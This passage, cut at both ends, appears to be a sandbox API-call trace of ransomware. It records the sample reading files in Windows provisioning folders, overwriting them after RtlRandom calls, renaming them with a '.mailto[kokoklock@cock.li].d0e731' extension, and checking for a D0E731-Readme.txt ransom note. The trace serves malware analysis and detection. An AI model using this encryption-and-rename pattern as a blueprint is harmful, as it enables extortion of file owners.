lpNumberOfBytesWritten=0x207bfc98*=0x10f, lpOverlapped=0x0) returned 1 [0078.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x207bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x207bfc94*=0x20, lpOverlapped=0x0) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x3493270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x3493270*, lpNumberOfBytesWritten=0x207bfcc0*=0x8, lpOverlapped=0x0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x207bfcd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x207bfcd8*, lpNumberOfBytesWritten=0x207bfcc0*=0x4, lpOverlapped=0x0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x207bfcc0*=0x4, lpOverlapped=0x0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x207bfcc0*=0x6c, lpOverlapped=0x0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x207bfcc0*=0x20, lpOverlapped=0x0) returned 1 [0078.569] WriteFile (in: hFile=0x658, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x207bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x207bfcc0*=0x4, lpOverlapped=0x0) returned 1 [0078.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493248) returned 1 [0078.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493270) returned 1 [0078.570] CloseHandle (hObject=0x658) returned 1 [0078.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.570] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" [0078.570] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.570] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.570] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.571] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0078.571] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt" [0078.571] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\d0e731-readme.txt")) returned 0x20 [0078.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0078.571] RtlExitUserThread (Status=0x1) Thread: id = 886 os_tid = 0x14dc [0078.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3427f10 [0078.575] wcscpy (in: _Dest=0x3427f10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0078.575] wcscat (in: _Dest=0x3427f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0078.575] wcscat (in: _Dest=0x3427f10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*" [0078.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3c48 [0078.575] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*", lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0718 [0078.576] wcscmp (_String1=".", _String2=".") returned 0 [0078.576] FindNextFileW (in: hFindFile=0x33e0718, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.576] wcscmp (_String1="..", _String2=".") returned 1 [0078.576] wcscmp (_String1="..", _String2="..") returned 0 [0078.576] FindNextFileW (in: hFindFile=0x33e0718, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d244069, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d244069, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.576] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.576] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431a60 [0078.576] wcscpy (in: _Dest=0x3431a60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0078.576] wcscat (in: _Dest=0x3431a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0078.576] wcscat (in: _Dest=0x3431a60, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0083.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0083.023] FindNextFileW (in: hFindFile=0x33e0718, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.023] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.023] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6b88 [0083.023] wcscpy (in: _Dest=0x33f6b88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0083.023] wcscat (in: _Dest=0x33f6b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0083.023] wcscat (in: _Dest=0x33f6b88, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml" [0083.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6b88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0083.024] FindNextFileW (in: hFindFile=0x33e0718, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.024] FindClose (in: hFindFile=0x33e0718 | out: hFindFile=0x33e0718) returned 1 [0083.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3c48) returned 1 [0083.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f10) returned 1 [0083.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34286f8) returned 1 [0083.024] RtlExitUserThread (Status=0x0) Thread: id = 887 os_tid = 0x14e0 [0078.577] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml")) returned 0x20 [0078.578] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0078.578] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x208bfbd4 | out: lpFileSize=0x208bfbd4*=25204) returned 1 [0078.578] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x6270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.578] ReadFile (in: hFile=0x3ac, lpBuffer=0x208bfba8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x208bfba8*, lpNumberOfBytesRead=0x208bfba4*=0x4, lpOverlapped=0x0) returned 1 [0078.580] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493248 [0078.580] NtQuerySystemTime (in: CurrentTime=0x208bfb80 | out: CurrentTime=0x208bfb80*=132121176364743935) returned 0x0 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xa1652d90 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x9f80105a [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x55f1bf89 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x16546fd6 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x275740e6 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x669cf16c [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x36fe50ea [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xc8e0e5e7 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x80189ea8 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x7520ff6c [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xaadb7b09 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x4f5c791e [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x2c636bf1 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xb1d507bc [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xeba597d0 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xd624606d [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x789f2b3b [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x4315ef86 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xde1cadd2 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xde67a962 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xf8dc0856 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x35f50548 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xc8c32d8e [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xed63e5fc [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xd1079bc3 [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x36f0b61f [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x5837fdcd [0078.580] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xbdde0e8f [0078.581] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0xc7d20c56 [0078.581] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x2037f69d [0078.581] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x5e52a0d9 [0078.581] RtlRandom (in: Seed=0x208bfb8c | out: Seed=0x208bfb8c) returned 0x1f7bd66a [0078.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.591] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.591] ReadFile (in: hFile=0x3ac, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x208bfb58, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x208bfb58*=0x4096, lpOverlapped=0x0) returned 1 [0078.593] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.594] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.594] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.594] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.594] WriteFile (in: hFile=0x3ac, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x208bfb58, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x208bfb58*=0x4096, lpOverlapped=0x0) returned 1 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.594] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x6274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.594] WriteFile (in: hFile=0x3ac, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208bfb90, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x208bfb90*=0x20, lpOverlapped=0x0) returned 1 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493090) returned 1 [0078.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.594] WriteFile (in: hFile=0x3ac, lpBuffer=0x3492d98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x3492d98*, lpNumberOfBytesWritten=0x208bfba4*=0x8, lpOverlapped=0x0) returned 1 [0078.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x208bfbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x208bfbbc*, lpNumberOfBytesWritten=0x208bfba4*=0x4, lpOverlapped=0x0) returned 1 [0078.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x208bfba4*=0x4, lpOverlapped=0x0) returned 1 [0078.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x208bfba4*=0x6c, lpOverlapped=0x0) returned 1 [0078.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x208bfba4*=0x20, lpOverlapped=0x0) returned 1 [0078.595] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x208bfba4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x208bfba4*=0x4, lpOverlapped=0x0) returned 1 [0078.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493270) returned 1 [0078.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d98) returned 1 [0078.595] CloseHandle (hObject=0x3ac) returned 1 [0078.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.595] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" [0078.595] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.595] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.597] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" | out: _Dest="C:\\Users\\All 